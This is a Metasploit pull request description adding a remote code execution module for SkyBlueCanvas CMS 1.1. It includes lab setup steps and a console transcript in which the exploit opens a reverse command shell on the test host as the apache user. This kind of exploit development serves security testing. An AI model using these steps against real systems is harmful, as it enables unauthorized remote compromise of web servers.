rapid7/metasploit-framework — pull request #2924 by xistence (2014-01-28 04:09:40+00:00)
Title: added SkyBlueCanvas CMS 1.1 r248-03 RCE

RCE for SkyBlueCanvas CMS version 1.1 r248-03 and below.

Download the application from http://www.exploit-db.com/wp-content/themes/exploit/applications/a7a359ca6d285d60a1d1b1558393991c-skyblue-1.1-r248-03.tar.gz
Install the CMS on a LAMP environment (Tested on CentOS 5.x 32-bit)

msf > use exploit/multi/http/skybluecanvas_exec
msf exploit(skybluecanvas_exec) > set RHOST 192.168.2.132
RHOST => 192.168.2.132
msf exploit(skybluecanvas_exec) > set URI /skyblue
URI => /skyblue
msf exploit(skybluecanvas_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo sReQRyq5cGjsJcGE;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "sReQRyq5cGjsJcGE\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.2.22:4444 -> 192.168.2.132:59000) at 2014-01-28 11:02:25 +0700

id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t